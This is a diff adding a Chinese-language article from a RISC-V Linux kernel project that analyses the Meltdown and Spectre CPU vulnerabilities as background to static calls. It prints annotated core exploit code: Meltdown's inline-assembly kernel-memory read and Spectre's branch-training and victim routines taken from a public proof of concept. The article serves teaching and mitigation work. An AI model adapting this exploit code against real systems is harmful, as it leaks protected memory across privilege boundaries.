diff --git a/articles/20221031-static-call-part1-meltdown-and-spectre.md b/articles/20221031-static-call-part1-meltdown-and-spectre.md new file mode 100644 index 0000000000000000000000000000000000000000..8d89abef86072a1cfd172332a3ef02b730330449 --- /dev/null +++ b/articles/20221031-static-call-part1-meltdown-and-spectre.md @@ -0,0 +1,193 @@ +> Corrector: [TinyCorrect](https://gitee.com/tinylab/tinycorrect) v0.1 - [header epw]
+> Author: 牛工 - 通天塔 985400330@qq.com
+> Date: 2022/10/31
+> Revisor: Falcon ; iOSDevLog
+> Project: [RISC-V Linux 内核剖析](https://gitee.com/tinylab/riscv-linux)
+> Proposal: [【老师提案】Static Call 技术分析与 RISC-V 移植 · Issue #I5Y585 · 泰晓科技/RISCV-Linux - Gitee.com](https://gitee.com/tinylab/riscv-linux/issues/I5Y585)
+> Sponsor: PLCT Lab, ISCAS + +# Meltdown 和 Spectre + +## 前言 + +在文章 [20221020-missing-features-tools-for-riscv-part2.md][004] 中,提到了 RISC-V 架构下缺失的内核功能:Avoiding retpolines with static calls。 + +该功能的提出,是有历史原因的: + +- 2018 年发现漏洞 Meltdown 和 Spectre +- 谷歌提出 Retpolines 解决了这个安全问题,但引入了 4% 的性能影响 +- 开发者们不断寻求解决方法:[Relief for retpoline pain][002] +- 2020 年使用 static calls 方法避免使用 retpolines,性能影响降低至 1.6%:[Avoiding retpolines with static calls][003] + +本文将对漏洞 Meltdown 和 Spectre 进行分析,了解清楚漏洞原理之后,再进行后续的分析。 + +[Meltdown and Spectre (meltdownattack.com)][005] 网址中对这两个漏洞进行了详细介绍。 + +## Meltdown(熔毁) + +![image-20221031233851160](images/static-call/image-20221031233851160.png) + +> Why is it called Meltdown? +> The vulnerability basically melts security boundaries which are normally enforced by the hardware. + +为什么被叫做熔毁? + +该漏洞基本上熔化了通常由硬件强制执行的安全边界。 + +该漏洞可以打破应用层与系统层的边界,也就是说防线被熔毁,内核的数据将被应用层获取到。 + +相关论文:[meltdown.pdf (meltdownattack.com)][006] + +[Linux 下的 Meltdown 攻击实践(含代码)- 知乎(zhihu.com)][010] 这篇文章讲了利用 Meltdown 漏洞进行内核内存数据获取的方法。 + +以 32 为操作系统为例: + +![image-20221101233857436](images/static-call/image-20221101233857436.png) + +meltdown 漏洞,就可以让一个进程访问到内核的虚拟内存。 + +具体原理就是利用了 CPU 的乱序执行机制、Cache 机制和异常处理机制。 + +### 核心代码分析 + +```c +static void attack_core(unsigned long long target_address){ + asm volatile( + ".rept 50\n\t" + "add $0x0, %%rax\n\t" + ".endr\n\t" // 给寄存器 rax 加上 50 次 0,固定 CPU 状态机的状态,与之前的各种操作做隔离 + + "mov $test, %%rbx\n\t" // 将数组 test 的首地址放入寄存器 rbx + "add $0x1000, %%rbx\n\t" // 给寄存器 rbx 加上 4096(前面留出 1 段空间用作存储/地址隔离) + + "xor %%rax, %%rax\n\t" // 将寄存器 rax 的 64 位数据清 0 + "retry:\n\t" // retry 标签(用于优化 CPU 状态机中存在的“趋零固有偏向”) + "movb (%[address]), %%al\n\t" // 对目标地址进行非法访问,将其中的字节数据放入寄存器 al(寄存器 rax 的低 8 位) + "shl $0xc, %%rax\n\t" // 将寄存器 rax 左移 12 位,相当于乘上 4096 + // (乘一个 Cache_Line 的大小,防止 CPU 的预读取功能将数据提前读出,导致后续无法通过访问时长来判断数据是否被缓存过) + + "jz retry\n\t" // 寄存器 rax 为 0 时跳转至 retry 标签(用于优化 CPU 状态机中存在的“趋零固有偏向”) + "movq (%%rbx, %%rax, 0x1), %%rbx\n\t" // 将 rbx 数值赋值到 test[0+rax*1],此时 test[0+rax*1] 就被缓存到 L3_Cache 当中了 + + "TAG:" // TAG 标签,从非法访问存储器的信号处理函数中返回的跳转点 + : + :[address] "r" (target_address) + :"rax", "rbx" + ); +} +``` + +以上攻击的核心代码中,最终 `movq (%%rbx, %%rax, 0x1), %%rbx` 会让 test 数组中的一个数据变得读取非常快。 + +后续的工作就是遍历 test 数组,观察哪一个数据读取得非常快,就可以反推出非法读到的数据大小。 + +流程示意图如下: + +![image-20221102225649866](images/static-call/image-20221102225649866.png) + +## Spectre(幽灵) + +![image-20221031233914664](images/static-call/image-20221031233914664.png) + +> Why is it called Spectre? +> The name is based on the root cause, speculative execution. As it is not easy to fix, it will haunt us for quite some time. + +为什么叫幽灵? +该名称基于根本原因,即推测执行。由于它不容易修复,它会困扰我们很长一段时间。 + +相关论文:[spectre.pdf (spectreattack.com)][007] + +攻击代码例程:https://github.com/Eugnis/spectre-attack + +例程解析:[Into the Implementation of Spectre (fortinet.com)][008] + +例程的攻击方法是: + +- 设定一个小数组 array1,给定想要读取的地址 p,并计算出 array1 与 p 的偏移 malicious_x,正常情况下无法访问 array1[malicious_x]。 + +- 训练 CPU 分支预测,使 CPU 习惯性地执行一个 if 分支代码,读取 array[x],然后突然更改 x 数值为 malicious_x。 +- 分支预测的漏洞就会读取 array1[malicious_x],并且缓存其数值。 +- 借助于 `array1[malicious_x]` 作为参数,读取 `array2[array1[malicious_x] * 512]`,该数值也被缓存。 +- 正常遍历 array2 数组,发现某一数值读取飞快,则该数据被缓存过,反推 array1[malicious_x] 的数值大小,从而实现破解不该被访问的内存数据。 + +通过分析源码得到流程图如下: + +![image-20221106224159364](images/static-call/image-20221106224159364.png) + +### 核心代码分析 + +- 计算偏移值 + +```c +int main(int argc, const char* * argv) +{ + // secret 是我们想要访问的非法地址 + // secret 指针-array1,计算出来 secret 在 array1 的偏移值 malicious_x。 + size_t malicious_x = (size_t)(secret - (char *)array1); + ... + return (0); +} +``` + +- 分支预测训练 + +```c + for (j = 29; j >= 0; j--) + { + _mm_clflush(&array1_size); // 清除缓存数据,下次读取 array1_size 只能从 DDR 中获取 + for (volatile int z = 0; z < 100; z++) // 延时 + { + } /* Delay (can also mfence) */ + /* 训练 CPU,使 CPU 习惯于走执行成功的分支 */ + /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ + /* Avoid jumps in case those tip off the branch predictor */ + x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ + x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */ + x = training_x ^ (x & (malicious_x ^ training_x)); + + /* Call the victim! */ + victim_function(x); // + } +``` + +- 分支代码 + +```c +void victim_function(size_t x) +{ + if (x < array1_size) // 分支区分,针对此处训练,可使 CPU 习惯于走 if(1) + { + // 缓存 array1[x] 和 array2[array1[x] * 512] + // 下一次访问 array2[array1[x] * 512] 将会飞快 + // 训练成功之后,CPU 不管是否能访问 array1[x],都会将数据存在缓存中。 + temp &= array2[array1[x] * 512]; + } +} +``` + +运行实验结果: + +![image-20221106143053720](images/static-call/image-20221106143053720.png) + +## 小结 + +至此完成了 meltdown 和 spectre 两大漏洞的分析,两个漏洞都是利用了 CPU 在某种情况下将访问的数据放在缓存中,然后通过侧信道获取缓存中的数据,后续将分析如何解决该漏洞。 + +## 参考资料 + +- [meltdown.pdf (meltdownattack.com)][006] +- ["Meltdown"是什么?- 知乎(zhihu.com)][009] +- [Linux 下的 Meltdown 攻击实践(含代码)- 知乎(zhihu.com)][010] +- [spectre.pdf (spectreattack.com)][007] +- [Example of using revealed "Spectre" exploit][011] +- [Into the Implementation of Spectre (fortinet.com)][008] +[002]: https://lwn.net/Articles/774743/ +[003]: https://lwn.net/Articles/815908/ +[004]: https://gitee.com/nfk1996/riscv-linux/blob/a6b5ac6a507c106bb9471cbc06f8d43e9f912411/articles/20221020-missing-features-tools-for-riscv-part2.md +[005]: https://meltdownattack.com/ +[006]: https://meltdownattack.com/meltdown.pdf +[007]: https://spectreattack.com/spectre.pdf +[008]: https://www.fortinet.com/blog/threat-research/into-the-implementation-of-spectre +[009]: https://zhuanlan.zhihu.com/p/33621030 +[010]: https://zhuanlan.zhihu.com/p/391325673 +[011]: https://github.com/Eugnis/spectre-attack diff --git a/articles/images/static-call/image-20221031233851160.png b/articles/images/static-call/image-20221031233851160.png new file mode 100644 index 0000000000000000000000000000000000000000..8046bb4ab2386c6f5e2fe88178a8e2d6d6f1c429 Binary files /dev/null and b/articles/images/static-call/image-20221031233851160.png differ diff --git a/articles/images/static-call/image-20221031233914664.png b/articles/images/static-call/image-20221031233914664.png new file mode 100644 index 0000000000000000000000000000000000000000..37126855aa6a307fcf98a46227b29ec73e2454d8 Binary files /dev/null and b/articles/images/static-call/image-20221031233914664.png differ diff --git a/articles/images/static-call/image-20221101233857436.png b/articles/images/static-call/image-20221101233857436.png new file mode 100644 index 0000000000000000000000000000000000000000..4e30d55eff7afb8296662b4c084186fe5f7e5be4 Binary files /dev/null and b/articles/images/static-call/image-20221101233857436.png differ diff --git a/articles/images/static-call/image-20221102225649866.png b/articles/images/static-call/image-20221102225649866.png new file mode 100644 index 0000000000000000000000000000000000000000..605e1aae19db79341da0e3bcc19f516e72e89d5d Binary files /dev/null and b/articles/images/static-call/image-20221102225649866.png differ diff --git a/articles/images/static-call/image-20221106143053720.png b/articles/images/static-call/image-20221106143053720.png new file mode 100755 index 0000000000000000000000000000000000000000..e83b552c1e8ee3b237085734f1f173c0b67251e8 Binary files /dev/null and b/articles/images/static-call/image-20221106143053720.png differ diff --git a/articles/images/static-call/image-20221106224159364.png b/articles/images/static-call/image-20221106224159364.png new file mode 100755 index 0000000000000000000000000000000000000000..df9318849547d34195a874426da221f2cbfebf37 Binary files /dev/null and b/articles/images/static-call/image-20221106224159364.png differ